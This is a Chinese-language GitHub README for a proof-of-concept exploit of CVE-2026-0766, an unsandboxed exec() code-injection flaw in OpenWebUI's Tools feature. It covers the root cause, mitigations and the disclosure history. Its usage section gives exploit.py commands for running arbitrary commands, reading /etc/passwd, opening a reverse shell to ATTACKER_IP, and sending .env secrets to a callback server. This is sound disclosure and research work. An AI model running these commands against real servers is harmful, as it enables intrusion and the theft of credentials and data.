bitt0n/CVE-2026-0766

GitHub: bitt0n/CVE-2026-0766

针对 OpenWebUI 工具代码注入漏洞(CVE-2026-0766)的概念验证利用工具,通过 exec() 无沙箱执行实现 RCE。

Stars: 0 | Forks: 0

# CVE-2026-0766:OpenWebUI 远程代码执行 **教育安全研究仓库** 本仓库包含 **CVE-2026-0766** 的概念验证利用代码,这是由 **Zero Day Initiative (ZDI)** 发现并发布的 OpenWebUI 远程代码执行漏洞。 ## ⚠️ 免责声明 **本仓库仅供授权安全测试和教育目的使用。** - 使用此代码测试**您自己的系统**或您拥有**明确授权**测试的系统 - 将其用于**学习** LLM 平台安全漏洞 - ❌ **切勿**在未经明确许可的情况下对系统使用 - ❌ 未经授权访问计算机系统是**违法的** 作者不对本代码的滥用承担任何责任。用户需全权负责确保其活动符合所有适用法律法规。 ## 📋 漏洞概览 | 属性 | 值 | |----------|-------| | **CVE ID** | CVE-2026-0766 | | **发现者** | Zero Day Initiative (ZDI) | | **受影响软件** | OpenWebUI | | **漏洞类型** | 代码注入 (CWE-94) | | **CVSS 评分** | 8.8 HIGH | | **CVSS 向量** | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | | **攻击复杂度** | 低(具有工具创建/更新权限的认证管理员或用户可以利用) | ### 什么是 OpenWebUI? OpenWebUI 是一个自托管的大型语言模型 Web 接口。它提供类似 ChatGPT 的体验,组织可以在自己的基础设施上运行,将 LLM 对话和数据保留在本地。 ### 漏洞详情 OpenWebUI 包含一个“Tools(工具)”功能,允许用户通过提交 Python 代码来扩展 LLM 能力。此代码通过 Python 的 `exec()` 函数在服务器端执行,**没有任何沙箱、验证或安全控制**。 **利用流程:** 1. 认证用户通过 `POST /api/v1/tools/create` 创建一个“Tool(工具)” 2. 用户提供的 Python 代码存储在 `content` 字段中 3. 服务器在 `utils/plugin.py` 中调用 `exec(content, module.__dict__)` 4. 任意 Python 代码以完整的服务器权限执行 5. 攻击者实现远程代码执行 (RCE) **关键洞察:** 代码**在工具创建时**执行,而不是在 LLM 调用工具时。这意味着只需创建一个恶意工具即可触发 RCE——无需进一步交互。 ### 测试版本 此漏洞利用已在以下版本验证: - **OpenWebUI v0.8.10** - 易受攻击 ✅(测试于 2026-03-28) 该漏洞属于架构性问题(对用户输入不安全地使用 `exec()`),在 OpenWebUI 团队发布安全补丁之前,该漏洞存在于所有版本中。 ## 🔍 技术细节 ### 根本原因 该漏洞存在于 `backend/open_webui/utils/plugin.py` 中: ``` def load_tool_module_by_id(tool_id: str, content: str): # Minimal preprocessing (NOT a security control) content = replace_imports(content) # Create module and execute user code module = types.ModuleType(f"tool_{tool_id}") exec(content, module.__dict__) # ← VULNERABILITY return module ``` `replace_imports()` 函数仅重写导入路径(仅作修饰)——它**并不**限制可执行的代码。存在以下问题: - ❌ 无沙箱(无受限执行环境) - ❌ 无代码验证(无 AST 检查或白名单机制) - ❌ 无权限检查(默认情况下所有认证用户均可创建工具) - ❌ 无权限隔离(代码以 OpenWebUI 服务账号身份运行) ### 供应商回应 OpenWebUI 团队最初将此评估为低优先级,指出工具创建需要管理员权限。然而: 1. **权限委派很常见** —— 许多部署将工具创建权限授予高级用户、工作区管理员和开发者 2. **管理员账户被盗** —— 钓鱼、撞库和 SSO 凭据泄露可使攻击者获得管理员访问权限 3. **违反纵深防御** —— 即使是管理员操作也应受到约束;无限制的代码执行违反了最小权限原则 4. **入侵后利用价值** —— 此漏洞在初始访问后的攻击链中具有重要价值 在供应商提议管理员应通过受限访问进行管理后,**ZDI 已将其作为 0-day 漏洞发布**(ZDI-26-032),以告知防御者。 **作者尊重维护开源项目的挑战。** 安全补丁需要在用户需求、架构约束和有限资源之间取得平衡。本发布旨在帮助安全团队评估风险并实施缓解措施。 ## 🛠️ 概念验证 ### 安装 ``` git clone https://github.com/bitt0n/CVE-2026-0766.git cd CVE-2026-0766 pip install requests urllib3 ``` ### 使用方法 漏洞利用脚本 (`exploit.py`) 支持多种攻击模式: #### 1. 命令执行 执行操作系统命令并获取输出: ``` python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id" ``` #### 2. 文件读取 从服务器文件系统读取文件: ``` python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd ``` #### 3. 反向 Shell 生成一个反向 Shell(需要 netcat 监听器): ``` # 在攻击机: nc -lvnp 4444 # 运行 exploit: python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444 ``` #### 4. 盲注外带 将命令输出发送到 HTTP 回调服务器: ``` python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env" ``` ### 认证 该脚本同时接受 **JWT token**(来自 SSO 登录)和 **API keys**: **获取 JWT token:** 1. 正常登录 OpenWebUI(SSO 或本地认证) 2. 打开浏览器开发者工具 (F12) 3. 找到您的 token: - **Cookies 标签页:** 查找 `token` cookie 值 - **Network(网络)标签页:** 从任意 API 请求中复制 `Authorization: Bearer ...` 头 - **Console(控制台):** 运行 `localStorage.getItem("token")` 4. 将 token 传递给脚本:`--token eyJhbGci...` ## 🔐 缓解措施 ### 对于防御者 如果您运行 OpenWebUI 且无法立即打补丁: 1. **限制工具创建权限**,仅限高度受信的管理员 2. **审计现有工具**以查找恶意代码(检查数据库中的工具内容) 3. **以最小权限运行 OpenWebUI**(专用服务账号,尽可能使用只读文件系统) 4. **实施网络出口过滤**(容器不应具有任意的出站访问权限) 5. **监控可疑的工具创建**(留意正常工作流程之外创建的工具) ### 修复建议(针对维护者) 1. **用安全的替代方案替换 `exec()`:** - 使用 `RestrictedPython` 进行沙箱执行 - 解析 Python AST 并根据安全操作白名单进行验证 - 在隔离的容器中执行工具代码(gVisor, Firecracker) 2. **添加权限检查:** - 新工具需管理员审批 - 对工具创建实施基于角色的访问控制 - 在工具激活前添加代码审查工作流 3. **纵深防御:** - 在具有系统调用过滤 (seccomp) 的独立进程中运行工具 - 将文件系统访问限制为只读 - 移除工具执行环境的网络访问权限 ## 📚 参考资料 - **NVD 条目:** https://nvd.nist.gov/vuln/detail/CVE-2026-0766 - **ZDI 公告:** https://www.zerodayinitiative.com/advisories/ZDI-26-032/ - **GitHub 安全公告:** https://github.com/advisories/GHSA-cggw-334c-f4mj - **CWE-94 (代码注入):** https://cwe.mitre.org/data/definitions/94.html - **OWASP 代码注入:** https://owasp.org/www-community/attacks/Code_Injection ## 🙏 致谢 - **漏洞发现:** Zero Day Initiative (ZDI) - ZDI-26-032 / ZDI-CAN-28257 - **漏洞利用研究与 PoC 开发:** Pradeep Pillai ([@bitt0n](https://github.com/bitt0n)) ## 📜 许可证 MIT 许可证 - 详情请参阅 [LICENSE](LICENSE) 文件。 本代码仅供教育和防御安全目的提供。作者不对滥用行为负责。 ## 🤝 负责任披露 此漏洞已按负责任方式披露: 1. **ZDI 发现并向** OpenWebUI 报告了该漏洞 2. **提供了协调披露期**供供应商修补 3. **供应商拒绝修补**(评估为可接受风险) 4. **ZDI 作为 0-day 发布**以通知安全社区 5. **此 PoC 在披露后发布**以帮助防御者评估风险 如果您在开源项目中发现安全漏洞,请遵循负责任的披露做法,并在公开披露前给维护者留出修补时间。 **如有问题或反馈:** 请在本仓库中开启一个 issue。
标签:AI基础设施安全, CISA项目, CVE-2026-0766, CWE-94, OpenWebUI, PoC, RCE, ZDI, 大语言模型安全, 工具注入, 教育安全, 数据展示, 暴力破解, 机密管理, 漏洞复现, 红队, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 零日漏洞